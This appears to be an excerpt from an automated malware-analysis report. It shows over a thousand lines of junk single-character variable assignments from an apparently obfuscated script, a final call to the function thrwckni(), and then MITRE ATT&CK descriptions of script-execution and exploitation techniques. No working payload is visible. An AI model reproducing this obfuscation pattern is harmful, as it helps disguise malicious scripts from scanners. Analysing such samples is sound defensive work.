446	xrkrptt = "A";
447	xrkrptt = "a";
448	xrkrptt = "c";
449	xrkrptt = "I";
450	xrkrptt = "w";
451	xrkrptt = "m";
452	xrkrptt = "F";
453	xrkrptt = "Y";
454	xrkrptt = "k";
455	xrkrptt = "C";
456	xrkrptt = "p";
457	xrkrptt = "l";
458	xrkrptt = "g";
459	xrkrptt = "d";
460	nladsl = "K";
461	nladsl = "h";
462	nladsl = "D";
463	nladsl = "e";
464	nladsl = "O";
465	nladsl = "n";
466	nladsl = "S";
467	nladsl = "R";
468	nladsl = "f";
469	nladsl = "Y";
470	nladsl = "w";
471	nladsl = "R";
472	nladsl = "S";
473	nladsl = "C";
474	nladsl = "Z";
475	nladsl = "q";
476	nladsl = "w";
477	nladsl = "S";
478	nladsl = "z";
479	nladsl = "t";
480	nladsl = "F";
481	nladsl = "x";
482	nladsl = "L";
483	nladsl = "y";
484	nladsl = "O";
485	nladsl = "m";
486	nladsl = "z";
487	nladsl = "K";
488	nladsl = "z";
489	nladsl = "c";
490	xzziz = "q";
491	xzziz = "U";
492	xzziz = "t";
493	xzziz = "g";
494	xzziz = "S";
495	xzziz = "O";
496	xzziz = "s";
497	xzziz = "y";
498	xzziz = "Q";
499	xzziz = "N";
500	xzziz = "O";
501	xzziz = "M";
502	xzziz = "j";
503	xzziz = "r";
504	xzziz = "U";
505	xzziz = "M";
506	xzziz = "J";
507	xzziz = "u";
508	xzziz = "M";
509	xzziz = "P";
510	xzziz = "d";
511	xzziz = "S";
512	xzziz = "r";
513	xzziz = "o";
514	xzziz = "O";
515	xzziz = "Y";
516	xzziz = "w";
517	xzziz = "y";
518	xzziz = "h";
519	xzziz = "e";
520	xsecxcmlk = "n";
521	xsecxcmlk = "n";
522	xsecxcmlk = "j";
523	xsecxcmlk = "y";
524	xsecxcmlk = "f";
525	xsecxcmlk = "E";
526	xsecxcmlk = "k";
527	xsecxcmlk = "J";
528	xsecxcmlk = "V";
529	xsecxcmlk = "k";
530	xsecxcmlk = "o";
531	xsecxcmlk = "U";
532	xsecxcmlk = "Z";
533	xsecxcmlk = "e";
534	xsecxcmlk = "Y";
535	xsecxcmlk = "w";
536	xsecxcmlk = "U";
537	xsecxcmlk = "I";
538	xsecxcmlk = "d";
539	xsecxcmlk = "F";
540	xsecxcmlk = "Z";
541	xsecxcmlk = "f";
542	xsecxcmlk = "C";
543	xsecxcmlk = "v";
544	xsecxcmlk = "J";
545	xsecxcmlk = "b";
546	xsecxcmlk = "Q";
547	xsecxcmlk = "h";
548	xsecxcmlk = "R";
549	xsecxcmlk = "R";
550	xsecxcmlk = "R";
551	xsecxcmlk = "W";
552	xsecxcmlk = "y";
553	xsecxcmlk = "g";
554	xsecxcmlk = "V";
555	xsecxcmlk = "g";
556	xsecxcmlk = "b";
557	xsecxcmlk = "y";
558	xsecxcmlk = "M";
559	xsecxcmlk = "I";
560	xsecxcmlk = "G";
561	xsecxcmlk = "Y";
562	xsecxcmlk = "V";
563	xsecxcmlk = "U";
564	xsecxcmlk = "O";
565	znzxrayg = "B";
566	znzxrayg = "j";
567	znzxrayg = "G";
568	znzxrayg = "l";
569	znzxrayg = "O";
570	znzxrayg = "d";
571	znzxrayg = "o";
572	znzxrayg = "t";
573	znzxrayg = "E";
574	znzxrayg = "B";
575	znzxrayg = "Y";
576	znzxrayg = "P";
577	znzxrayg = "Z";
578	znzxrayg = "l";
579	znzxrayg = "v";
580	znzxrayg = "W";
581	znzxrayg = "d";
582	znzxrayg = "x";
583	znzxrayg = "E";
584	znzxrayg = "g";
585	znzxrayg = "U";
586	znzxrayg = "f";
587	znzxrayg = "M";
588	znzxrayg = "l";
589	znzxrayg = "T";
590	znzxrayg = "c";
591	znzxrayg = "l";
592	znzxrayg = "d";
593	znzxrayg = "j";
594	znzxrayg = "u";
595	znzxrayg = "s";
596	znzxrayg = "M";
597	znzxrayg = "n";
598	znzxrayg = "f";
599	znzxrayg = "Q";
600	znzxrayg = "S";
601	znzxrayg = "f";
602	znzxrayg = "U";
603	znzxrayg = "W";
604	jamdosmo = "y";
605	jamdosmo = "Q";
606	jamdosmo = "d";
607	jamdosmo = "d";
608	jamdosmo = "t";
609	jamdosmo = "q";
610	jamdosmo = "w";
611	jamdosmo = "O";
612	jamdosmo = "z";
613	jamdosmo = "G";
614	jamdosmo = "F";
615	jamdosmo = "M";
616	jamdosmo = "z";
617	jamdosmo = "V";
618	jamdosmo = "P";
619	jamdosmo = "j";
620	jamdosmo = "V";
621	jamdosmo = "p";
622	jamdosmo = "H";
623	jamdosmo = "t";
624	jamdosmo = "a";
625	jamdosmo = "h";
626	jamdosmo = "h";
627	jamdosmo = "Q";
628	jamdosmo = "L";
629	jamdosmo = "y";
630	jamdosmo = "q";
631	jamdosmo = "a";
632	jamdosmo = "i";
633	jamdosmo = "S";
634	jamdosmo = "v";
635	jamdosmo = "D";
636	jamdosmo = " ";
637	myvydq = "B";
638	myvydq = "E";
639	myvydq = "S";
640	myvydq = "o";
641	myvydq = "V";
642	myvydq = "h";
643	myvydq = "C";
644	myvydq = "h";
645	myvydq = "v";
646	myvydq = "v";
647	myvydq = "w";
648	myvydq = "W";
649	myvydq = "S";
650	myvydq = "Z";
651	myvydq = "t";
652	myvydq = "A";
653	myvydq = "T";
654	myvydq = "z";
655	myvydq = "R";
656	myvydq = "Q";
657	myvydq = "j";
658	myvydq = "j";
659	myvydq = "a";
660	myvydq = "O";
661	myvydq = "N";
662	myvydq = "E";
663	myvydq = "R";
664	myvydq = "B";
665	myvydq = "b";
666	myvydq = "t";
667	myvydq = "m";
668	myvydq = "a";
669	myvydq = "Z";
670	myvydq = "x";
671	myvydq = "m";
672	qnpdeh = "a";
673	pphnaq = "m";
674	pphnaq = "\\";
675	zhwvd = "J";
676	zhwvd = "b";
677	zhwvd = "j";
678	zhwvd = "M";
679	zhwvd = "t";
680	zhwvd = "y";
681	zhwvd = "h";
682	zhwvd = "d";
683	zhwvd = "r";
684	zhwvd = "W";
685	zhwvd = "f";
686	zhwvd = "S";
687	zhwvd = "K";
688	zhwvd = "s";
689	zhwvd = "e";
690	zhwvd = "b";
691	zhwvd = "A";
692	zhwvd = "y";
693	zhwvd = "W";
694	zhwvd = "i";
695	zhwvd = "L";
696	ccbce = "E";
697	ccbce = "p";
698	ccbce = "y";
699	ccbce = "x";
700	ccbce = "v";
701	ccbce = "d";
702	ccbce = "r";
703	ccbce = "P";
704	ccbce = "I";
705	ccbce = "p";
706	ccbce = "c";
707	ccbce = "F";
708	ccbce = "i";
709	ccbce = "I";
710	ccbce = "L";
711	ccbce = "S";
712	ccbce = "q";
713	ccbce = "x";
714	ccbce = "K";
715	ccbce = "n";
716	ccbce = "O";
717	ccbce = "j";
718	ccbce = "j";
719	ccbce = "A";
720	ccbce = "y";
721	ccbce = "p";
722	ccbce = "w";
723	ccbce = "z";
724	ccbce = "B";
725	ccbce = "N";
726	ccbce = "u";
727	kmvzryw = "n";
728	kmvzryw = "q";
729	kmvzryw = "n";
730	kmvzryw = "H";
731	kmvzryw = "y";
732	kmvzryw = "B";
733	kmvzryw = "F";
734	kmvzryw = "y";
735	kmvzryw = "z";
736	kmvzryw = "e";
737	kmvzryw = "s";
738	kmvzryw = "T";
739	kmvzryw = "V";
740	kmvzryw = "U";
741	kmvzryw = "K";
742	kmvzryw = "F";
743	kmvzryw = "l";
744	kmvzryw = "F";
745	kmvzryw = "G";
746	kmvzryw = "o";
747	kmvzryw = "J";
748	kmvzryw = "D";
749	kmvzryw = "y";
750	kmvzryw = "K";
751	kmvzryw = "h";
752	kmvzryw = "R";
753	kmvzryw = "f";
754	kmvzryw = "q";
755	kmvzryw = "J";
756	kmvzryw = "I";
757	kmvzryw = "W";
758	kmvzryw = "a";
759	kmvzryw = "o";
760	vxoizw = "q";
761	vxoizw = "i";
762	vxoizw = "m";
763	vxoizw = "j";
764	vxoizw = "m";
765	vxoizw = "j";
766	vxoizw = "G";
767	vxoizw = "l";
768	vxoizw = "G";
769	vxoizw = "P";
770	vxoizw = "o";
771	vxoizw = "Y";
772	vxoizw = "M";
773	vxoizw = "q";
774	vxoizw = "R";
775	vxoizw = "Q";
776	vxoizw = "V";
777	vxoizw = "q";
778	vxoizw = "p";
779	vxoizw = "g";
780	vxoizw = "&";
781	hdunvpa = "I";
782	hdunvpa = "g";
783	hdunvpa = "R";
784	hdunvpa = "a";
785	hdunvpa = "j";
786	hdunvpa = "L";
787	hdunvpa = "H";
788	hdunvpa = "Q";
789	domcu = "D";
790	domcu = "y";
791	domcu = "W";
792	domcu = "U";
793	domcu = "R";
794	domcu = "5";
795	mmclewoa = "v";
796	mmclewoa = "y";
797	mmclewoa = "f";
798	mmclewoa = "j";
799	mmclewoa = "S";
800	mmclewoa = "g";
801	mmclewoa = "V";
802	mmclewoa = "V";
803	mmclewoa = "E";
804	mmclewoa = "N";
805	mmclewoa = "f";
806	mmclewoa = "F";
807	mmclewoa = "c";
808	mmclewoa = "n";
809	mmclewoa = "L";
810	mmclewoa = "z";
811	mmclewoa = "w";
812	sjvubpt = "Y";
813	sjvubpt = "X";
814	sjvubpt = "a";
815	sjvubpt = "z";
816	sjvubpt = "M";
817	sjvubpt = "h";
818	sjvubpt = "u";
819	sjvubpt = "W";
820	sjvubpt = "C";
821	sjvubpt = "j";
822	sjvubpt = "g";
823	sjvubpt = "L";
824	sjvubpt = "c";
825	sjvubpt = "j";
826	qmamo = "D";
827	qmamo = "p";
828	qmamo = "z";
829	qmamo = "Q";
830	qmamo = "S";
831	qmamo = "\"";
832	eytuyxbna = "b";
833	eytuyxbna = "I";
834	eytuyxbna = "J";
835	eytuyxbna = "S";
836	eytuyxbna = "H";
837	eytuyxbna = "k";
838	eytuyxbna = "Y";
839	eytuyxbna = "L";
840	eytuyxbna = "A";
841	eytuyxbna = "v";
842	eytuyxbna = "u";
843	eytuyxbna = "p";
844	eytuyxbna = "z";
845	eytuyxbna = "I";
846	eytuyxbna = "Y";
847	eytuyxbna = "N";
848	eytuyxbna = "S";
849	eytuyxbna = "v";
850	eytuyxbna = "N";
851	eytuyxbna = "P";
852	eytuyxbna = "W";
853	eytuyxbna = "I";
854	eytuyxbna = "l";
855	eytuyxbna = "e";
856	eytuyxbna = "F";
857	eytuyxbna = "d";
858	eytuyxbna = "N";
859	eytuyxbna = "z";
860	eytuyxbna = "M";
861	eytuyxbna = "A";
862	eytuyxbna = "x";
863	eytuyxbna = "R";
864	eytuyxbna = "X";
865	eytuyxbna = "a";
866	eytuyxbna = "m";
867	eytuyxbna = "L";
868	eytuyxbna = "r";
869	eytuyxbna = "X";
870	eytuyxbna = "G";
871	eytuyxbna = "L";
872	eytuyxbna = "c";
873	eytuyxbna = "i";
874	eytuyxbna = "I";
875	sbpbwwqif = "s";
876	sbpbwwqif = "s";
877	sbpbwwqif = "m";
878	sbpbwwqif = "h";
879	sbpbwwqif = "Y";
880	sbpbwwqif = "r";
881	sbpbwwqif = "S";
882	sbpbwwqif = "I";
883	sbpbwwqif = "q";
884	sbpbwwqif = "C";
885	sbpbwwqif = "U";
886	sbpbwwqif = "s";
887	sbpbwwqif = "d";
888	sbpbwwqif = "A";
889	sbpbwwqif = "R";
890	sbpbwwqif = "f";
891	sbpbwwqif = "s";
892	sbpbwwqif = "M";
893	sbpbwwqif = "t";
894	sbpbwwqif = "h";
895	sbpbwwqif = "E";
896	sbpbwwqif = "j";
897	sbpbwwqif = "B";
898	sbpbwwqif = "l";
899	sbpbwwqif = "s";
900	sbpbwwqif = "U";
901	sbpbwwqif = "F";
902	sbpbwwqif = "u";
903	sbpbwwqif = "K";
904	sbpbwwqif = "A";
905	sbpbwwqif = "k";
906	sbpbwwqif = "Y";
907	sbpbwwqif = "H";
908	sbpbwwqif = "U";
909	sbpbwwqif = "T";
910	sbpbwwqif = "P";
911	sbpbwwqif = "A";
912	sbpbwwqif = "P";
913	wluwxusc = "g";
914	wluwxusc = "Y";
915	wluwxusc = "C";
916	wluwxusc = "j";
917	wluwxusc = "X";
918	wluwxusc = "M";
919	wluwxusc = "b";
920	wluwxusc = "v";
921	wluwxusc = "D";
922	wluwxusc = "P";
923	wluwxusc = "X";
924	wluwxusc = "p";
925	wluwxusc = "z";
926	wluwxusc = "f";
927	wluwxusc = "I";
928	wluwxusc = "R";
929	wluwxusc = "c";
930	wluwxusc = "H";
931	wluwxusc = "q";
932	wluwxusc = "E";
933	wluwxusc = "W";
934	wluwxusc = "a";
935	wluwxusc = "U";
936	wluwxusc = "G";
937	wluwxusc = "J";
938	wluwxusc = "m";
939	wluwxusc = "C";
940	qoxunfjq = "p";
941	qoxunfjq = "c";
942	qoxunfjq = "w";
943	qoxunfjq = "H";
944	qoxunfjq = "N";
945	qoxunfjq = "y";
946	qoxunfjq = "l";
947	qoxunfjq = "R";
948	qoxunfjq = "a";
949	qoxunfjq = "L";
950	qoxunfjq = "C";
951	qoxunfjq = "w";
952	qoxunfjq = "c";
953	qoxunfjq = "q";
954	qoxunfjq = "K";
955	qoxunfjq = "s";
956	qoxunfjq = "f";
957	qoxunfjq = "F";
958	qoxunfjq = "a";
959	qoxunfjq = "e";
960	qoxunfjq = "b";
961	qoxunfjq = "I";
962	qoxunfjq = "D";
963	qoxunfjq = "t";
964	mnqggyub = "a";
965	mnqggyub = "l";
966	mnqggyub = "z";
967	mnqggyub = "x";
968	mnqggyub = "n";
969	mnqggyub = "c";
970	mnqggyub = "z";
971	mnqggyub = "y";
972	mnqggyub = "u";
973	mnqggyub = "N";
974	mnqggyub = "h";
975	mnqggyub = "k";
976	mnqggyub = "B";
977	mnqggyub = "t";
978	mnqggyub = "z";
979	mnqggyub = "F";
980	mnqggyub = "x";
981	mnqggyub = "o";
982	mnqggyub = "j";
983	mnqggyub = "Y";
984	mnqggyub = "Z";
985	mnqggyub = "N";
986	mnqggyub = "V";
987	mnqggyub = "M";
988	mnqggyub = "c";
989	mnqggyub = "h";
990	mnqggyub = "f";
991	mnqggyub = "f";
992	mnqggyub = "K";
993	mnqggyub = "s";
994	mnqggyub = "c";
995	mnqggyub = "j";
996	mnqggyub = "s";
997	mnqggyub = "T";
998	idyuoitd = "u";
999	idyuoitd = "Z";
1000	idyuoitd = "P";
1001	idyuoitd = "q";
1002	idyuoitd = "-";
1003	ffvichkvm = "r";
1004	ffvichkvm = "I";
1005	ffvichkvm = "N";
1006	ffvichkvm = "e";
1007	ffvichkvm = "p";
1008	ffvichkvm = "G";
1009	ffvichkvm = "K";
1010	ffvichkvm = "M";
1011	ffvichkvm = "b";
1012	ffvichkvm = "u";
1013	ffvichkvm = "j";
1014	ffvichkvm = "L";
1015	ffvichkvm = "M";
1016	ffvichkvm = "w";
1017	ffvichkvm = "W";
1018	ffvichkvm = "M";
1019	ffvichkvm = "R";
1020	ffvichkvm = "Z";
1021	ffvichkvm = "p";
1022	ffvichkvm = "c";
1023	ffvichkvm = "Z";
1024	ffvichkvm = "M";
1025	ffvichkvm = "C";
1026	ffvichkvm = "U";
1027	ffvichkvm = "n";
1028	ffvichkvm = "C";
1029	ffvichkvm = "g";
1030	ffvichkvm = "k";
1031	ffvichkvm = "A";
1032	ffvichkvm = "C";
1033	ffvichkvm = "a";
1034	ffvichkvm = ".";
1035	frvtpe = "H";
1036	xjvbmk = "s";
1037	xjvbmk = "s";
1038	xjvbmk = "F";
1039	xjvbmk = "W";
1040	xjvbmk = "P";
1041	xjvbmk = "L";
1042	xjvbmk = ":";
1043	cbiesd = "C";
1044	cbiesd = "Q";
1045	cbiesd = "X";
1046	cbiesd = "J";
1047	cbiesd = "h";
1048	cbiesd = "B";
1049	cbiesd = "K";
1050	cbiesd = "i";
1051	cbiesd = "v";
1052	cbiesd = "S";
1053	cbiesd = "c";
1054	cbiesd = "N";
1055	fwayxvu = "z";
1056	fwayxvu = "z";
1057	fwayxvu = "r";
1058	fwayxvu = "F";
1059	fwayxvu = "t";
1060	fwayxvu = "J";
1061	fwayxvu = "f";
1062	fwayxvu = "G";
1063	fwayxvu = "i";
1064	fwayxvu = "C";
1065	fwayxvu = "y";
1066	fwayxvu = "q";
1067	psaflj = "M";
1068	psaflj = "T";
1069	psaflj = "U";
1070	tzugg = "S";
1071	tzugg = "I";
1072	tzugg = "k";
1073	tzugg = "S";
1074	tzugg = "Z";
1075	tzugg = "Q";
1076	tzugg = "R";
1077	tzugg = "T";
1078	tzugg = "p";
1079	tzugg = "T";
1080	tzugg = "q";
1081	tzugg = "m";
1082	tzugg = "w";
1083	tzugg = "F";
1084	tzugg = "L";
1085	tzugg = "u";
1086	tzugg = "G";
1087	tzugg = "d";
1088	tzugg = "k";
1089	tzugg = "A";
1090	tzugg = "f";
1091	tzugg = "Z";
1092	tzugg = "E";
1093	tzugg = "U";
1094	tzugg = "A";
1095	tzugg = "o";
1096	tzugg = "d";
1097	tzugg = "S";
1098	tzugg = "k";
1099	tzugg = "O";
1100	tzugg = "L";
1101	tzugg = "y";
1102	tzugg = "k";
1103	tzugg = "k";
1104	tzugg = "M";
1105	tzugg = "L";
1106	tzugg = "2";
1107	syzqlapg = "A";
1108	syzqlapg = "K";
1109	syzqlapg = "k";
1110	syzqlapg = "b";
1111	syzqlapg = "Y";
1112	syzqlapg = "z";
1113	syzqlapg = "q";
1114	syzqlapg = "G";
1115	syzqlapg = "n";
1116	syzqlapg = "M";
1117	syzqlapg = "i";
1118	syzqlapg = "O";
1119	syzqlapg = "Z";
1120	syzqlapg = "b";
1121	syzqlapg = "a";
1122	syzqlapg = "h";
1123	syzqlapg = "x";
1124	syzqlapg = "H";
1125	syzqlapg = "Y";
1126	syzqlapg = "k";
1127	syzqlapg = "V";
1128	syzqlapg = "w";
1129	syzqlapg = "y";
1130	syzqlapg = "C";
1131	syzqlapg = "e";
1132	syzqlapg = "B";
1133	syzqlapg = "b";
1134	syzqlapg = "v";
1135	syzqlapg = "y";
1136	syzqlapg = "w";
1137	syzqlapg = "f";
1138	syzqlapg = "x";
1139	syzqlapg = "N";
1140	syzqlapg = "L";
1141	syzqlapg = "k";
1142	syzqlapg = "S";
1143	syzqlapg = "Y";
1144	syzqlapg = "b";
1145	syzqlapg = "c";
1146	syzqlapg = "G";
1147	syzqlapg = "T";
1148	syzqlapg = "R";
1149	bwsibi = "T";
1150	bwsibi = "X";
1151	bwsibi = "d";
1152	bwsibi = "p";
1153	bwsibi = "E";
1154	bwsibi = "y";
1155	bwsibi = "c";
1156	bwsibi = "d";
1157	bwsibi = "z";
1158	bwsibi = "D";
1159	bwsibi = "R";
1160	bwsibi = "c";
1161	bwsibi = "F";
1162	bwsibi = "x";
1163	bwsibi = "X";
1164	bwsibi = "Y";
1165	bwsibi = "f";
1166	bwsibi = "q";
1167	bwsibi = "N";
1168	bwsibi = "U";
1169	bwsibi = "x";
1170	bwsibi = "Z";
1171	bwsibi = "n";
1172	bwsibi = "A";
1173	bwsibi = "w";
1174	bwsibi = "X";
1175	bwsibi = "f";
1176	bwsibi = "Y";
1177	bwsibi = "e";
1178	bwsibi = "R";
1179	bwsibi = "S";
1180	bwsibi = "/";
1181	vqzyunvf = "Q";
1182	vqzyunvf = "a";
1183	vqzyunvf = "g";
1184	vqzyunvf = "f";
1185	vqzyunvf = "C";
1186	vqzyunvf = "c";
1187	vqzyunvf = "p";
1188	vqzyunvf = "p";
1189	vqzyunvf = "Q";
1190	vqzyunvf = "o";
1191	vqzyunvf = "W";
1192	vqzyunvf = "L";
1193	vqzyunvf = "A";
1194	vqzyunvf = "N";
1195	vqzyunvf = "u";
1196	vqzyunvf = "w";
1197	vqzyunvf = "g";
1198	vqzyunvf = "y";
1199	vqzyunvf = "E";
1200	vqzyunvf = "Q";
1201	vqzyunvf = "n";
1202	vqzyunvf = "F";
1203	vqzyunvf = "m";
1204	vqzyunvf = "v";
1205	vqzyunvf = "w";
1206	vqzyunvf = "S";
1207	vqzyunvf = "M";
1208	vqzyunvf = "J";
1209	vqzyunvf = "O";
1210	vqzyunvf = "J";
1211	vqzyunvf = "d";
1212	vqzyunvf = "4";
1213	vcjimev = "r";
1214	vcjimev = "B";
1215	vcjimev = "U";
1216	vcjimev = "h";
1217	vcjimev = "B";
1218	vcjimev = "d";
1219	vcjimev = "d";
1220	vcjimev = "w";
1221	vcjimev = "a";
1222	vcjimev = "f";
1223	vcjimev = "q";
1224	vcjimev = "A";
1225	vcjimev = "B";
1226	vcjimev = "C";
1227	vcjimev = "l";
1228	vcjimev = "z";
1229	vcjimev = "f";
1230	vcjimev = "t";
1231	vcjimev = "Z";
1232	vcjimev = "B";
1233	vcjimev = "C";
1234	vcjimev = "p";
1235	vcjimev = "E";
1236	vcjimev = "A";
1237	vcjimev = "H";
1238	vcjimev = "w";
1239	vcjimev = "e";
1240	vcjimev = "h";
1241	vcjimev = "j";
1242	vcjimev = "H";
1243	vcjimev = "y";
1244	vcjimev = "F";
1245	vcjimev = "8";
1246	imnsuov = "D";
1247	imnsuov = "D";
1248	imnsuov = "W";
1249	imnsuov = "K";
1250	imnsuov = "O";
1251	imnsuov = "n";
1252	imnsuov = "N";
1253	imnsuov = "C";
1254	imnsuov = "n";
1255	imnsuov = "e";
1256	imnsuov = "Q";
1257	imnsuov = "p";
1258	imnsuov = "V";
1259	imnsuov = "A";
1260	imnsuov = "N";
1261	imnsuov = "i";
1262	imnsuov = "t";
1263	imnsuov = "s";
1264	imnsuov = "i";
1265	imnsuov = "c";
1266	imnsuov = "q";
1267	imnsuov = "W";
1268	imnsuov = "n";
1269	imnsuov = "V";
1270	imnsuov = "o";
1271	imnsuov = "E";
1272	imnsuov = "p";
1273	imnsuov = "k";
1274	imnsuov = "w";
1275	imnsuov = "c";
1276	imnsuov = "x";
1277	imnsuov = "Y";
1278	imnsuov = "t";
1279	imnsuov = "9";
1280	yndljuc = "e";
1281	yndljuc = "G";
1282	yndljuc = "J";
1283	yndljuc = "D";
1284	yndljuc = "u";
1285	yndljuc = "e";
1286	yndljuc = "y";
1287	yndljuc = "c";
1288	yndljuc = "Y";
1289	yndljuc = "A";
1290	yndljuc = "n";
1291	yndljuc = "G";
1292	yndljuc = "r";
1293	yndljuc = "t";
1294	yndljuc = "m";
1295	yndljuc = "L";
1296	yndljuc = "l";
1297	yndljuc = "h";
1298	yndljuc = "H";
1299	yndljuc = "q";
1300	yndljuc = "z";
1301	yndljuc = "W";
1302	yndljuc = "n";
1303	yndljuc = "y";
1304	yndljuc = "c";
1305	yndljuc = "L";
1306	yndljuc = "c";
1307	yndljuc = "s";
1308	yndljuc = "m";
1309	yndljuc = "w";
1310	yndljuc = "W";
1311	yndljuc = "e";
1312	yndljuc = "o";
1313	yndljuc = "S";
1314	bfnbcsbv = "T";
1315	bfnbcsbv = "m";
1316	bfnbcsbv = "c";
1317	bfnbcsbv = "F";
1318	bfnbcsbv = "I";
1319	bfnbcsbv = "M";
1320	bfnbcsbv = "M";
1321	bfnbcsbv = "P";
1322	bfnbcsbv = "m";
1323	bfnbcsbv = "i";
1324	bfnbcsbv = "M";
1325	bfnbcsbv = "w";
1326	bfnbcsbv = "x";
1327	bfnbcsbv = "z";
1328	bfnbcsbv = "s";
1329	bfnbcsbv = "X";
1330	bfnbcsbv = "E";
1331	bfnbcsbv = "r";
1332	bfnbcsbv = "X";
1333	bfnbcsbv = "T";
1334	bfnbcsbv = "O";
1335	bfnbcsbv = "f";
1336	bfnbcsbv = "s";
1337	bfnbcsbv = "M";
1338	bfnbcsbv = "F";
1339	bfnbcsbv = "f";
1340	bfnbcsbv = "o";
1341	bfnbcsbv = "z";
1342	bfnbcsbv = "J";
1343	bfnbcsbv = "K";
1344	bfnbcsbv = "I";
1345	bfnbcsbv = "U";
1346	bfnbcsbv = "F";
1347	bfnbcsbv = "b";
1348	qzrcl = "W";
1349	qzrcl = "P";
1350	qzrcl = "T";
1351	qzrcl = "f";
1352	qzrcl = "U";
1353	qzrcl = "k";
1354	yswyjcz = "s";
1355	yswyjcz = "h";
1356	yswyjcz = "C";
1357	yswyjcz = "P";
1358	yswyjcz = "G";
1359	yswyjcz = "I";
1360	yswyjcz = "F";
1361	yswyjcz = "P";
1362	yswyjcz = "F";
1363	yswyjcz = "u";
1364	yswyjcz = "J";
1365	yswyjcz = "U";
1366	yswyjcz = "v";
1367	yswyjcz = "q";
1368	yswyjcz = "t";
1369	yswyjcz = "Q";
1370	yswyjcz = "a";
1371	yswyjcz = "d";
1372	yswyjcz = "U";
1373	yswyjcz = "O";
1374	yswyjcz = "c";
1375	yswyjcz = "s";
1376	yswyjcz = "K";
1377	yswyjcz = "P";
1378	yswyjcz = "e";
1379	yswyjcz = "b";
1380	yswyjcz = "P";
1381	yswyjcz = "S";
1382	yswyjcz = "h";
1383	svanojacg = "e";
1384	svanojacg = "j";
1385	svanojacg = "h";
1386	svanojacg = "p";
1387	svanojacg = "D";
1388	svanojacg = "n";
1389	svanojacg = "t";
1390	svanojacg = "J";
1391	svanojacg = "m";
1392	svanojacg = "f";
1393	svanojacg = "e";
1394	svanojacg = "z";
1395	svanojacg = "x";
1396	svanojacg = "z";
1397	svanojacg = "v";
1398	svanojacg = "z";
1399	svanojacg = "J";
1400	svanojacg = "W";
1401	svanojacg = "v";
1402	svanojacg = "b";
1403	svanojacg = "o";
1404	svanojacg = "d";
1405	svanojacg = "P";
1406	svanojacg = "T";
1407	svanojacg = "K";
1408	svanojacg = "f";
1409	svanojacg = "o";
1410	svanojacg = "o";
1411	svanojacg = "i";
1412	svanojacg = "R";
1413	svanojacg = "k";
1414	svanojacg = "S";
1415	svanojacg = "I";
1416	svanojacg = "M";
1417	svanojacg = "U";
1418	svanojacg = "Q";
1419	svanojacg = "v";
1420	svanojacg = "r";
1421	svanojacg = "v";
1422	svanojacg = "F";
1423	bgdffnfnv = "i";
1424	bgdffnfnv = "e";
1425	bgdffnfnv = "v";
1426	bgdffnfnv = "k";
1427	bgdffnfnv = "m";
1428	bgdffnfnv = "Y";
1429	bgdffnfnv = "A";
1430	bgdffnfnv = "q";
1431	bgdffnfnv = "d";
1432	bgdffnfnv = "0";
1433	sqewa = "e";
1434	sqewa = "t";
1435	sqewa = "J";
1436	sqewa = "d";
1437	sqewa = "O";
1438	sqewa = "Y";
1439	sqewa = "f";
1440	sqewa = "e";
1441	sqewa = "h";
1442	sqewa = "P";
1443	sqewa = "d";
1444	sqewa = "K";
1445	sqewa = "c";
1446	sqewa = "v";
1447	sqewa = "v";
1448	sqewa = "Y";
1449	sqewa = "x";
1450	sqewa = "t";
1451	sqewa = "W";
1452	sqewa = "e";
1453	sqewa = "L";
1454	sqewa = "h";
1455	sqewa = "y";
1456	sqewa = "M";
1457	sqewa = "g";
1458	bsgdne = "J";
1459	bsgdne = "r";
1460	bsgdne = "I";
1461	bsgdne = "o";
1462	bsgdne = "B";
1463	bsgdne = "O";
1464	bsgdne = "E";
1465	bsgdne = "v";
1466	bsgdne = "b";
1467	bsgdne = "F";
1468	bsgdne = "q";
1469	bsgdne = "f";
1470	bsgdne = "u";
1471	bsgdne = "s";
1472	bsgdne = "I";
1473	bsgdne = "m";
1474	bsgdne = "p";
1475	bsgdne = "H";
1476	bsgdne = "J";
1477	bsgdne = "S";
1478	bsgdne = "A";
1479	bsgdne = "S";
1480	bsgdne = "z";
1481	bsgdne = "m";
1482	bsgdne = "Y";
1483	bsgdne = "L";
1484	bsgdne = "A";
1485	bsgdne = "y";
1486	bsgdne = "B";
1487	bsgdne = "z";
1488	bsgdne = "m";
1489	bsgdne = "e";
1490	bsgdne = "I";
1491	bsgdne = "M";
1492	bsgdne = "r";
1493	bsgdne = "K";
1494	bsgdne = "Y";
1495	bsgdne = "q";
1496	bsgdne = "Y";
1497	bsgdne = "G";
1498	bsgdne = "3";
1499	ekbrcsf = "p";
1500	ekbrcsf = "C";
1501	ekbrcsf = "E";
1502	ekbrcsf = "e";
1503	ekbrcsf = "V";
1504	ekbrcsf = "V";
1505	ekbrcsf = "I";
1506	ekbrcsf = "J";
1507	ekbrcsf = "P";
1508	ekbrcsf = "K";
1509	plact = "X";
1510	plact = "f";
1511	plact = "n";
1512	plact = "s";
1513	plact = "X";
1514	plact = "E";
1515	plact = "k";
1516	plact = "E";
1517	thrwckni ( );	thrwckni() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
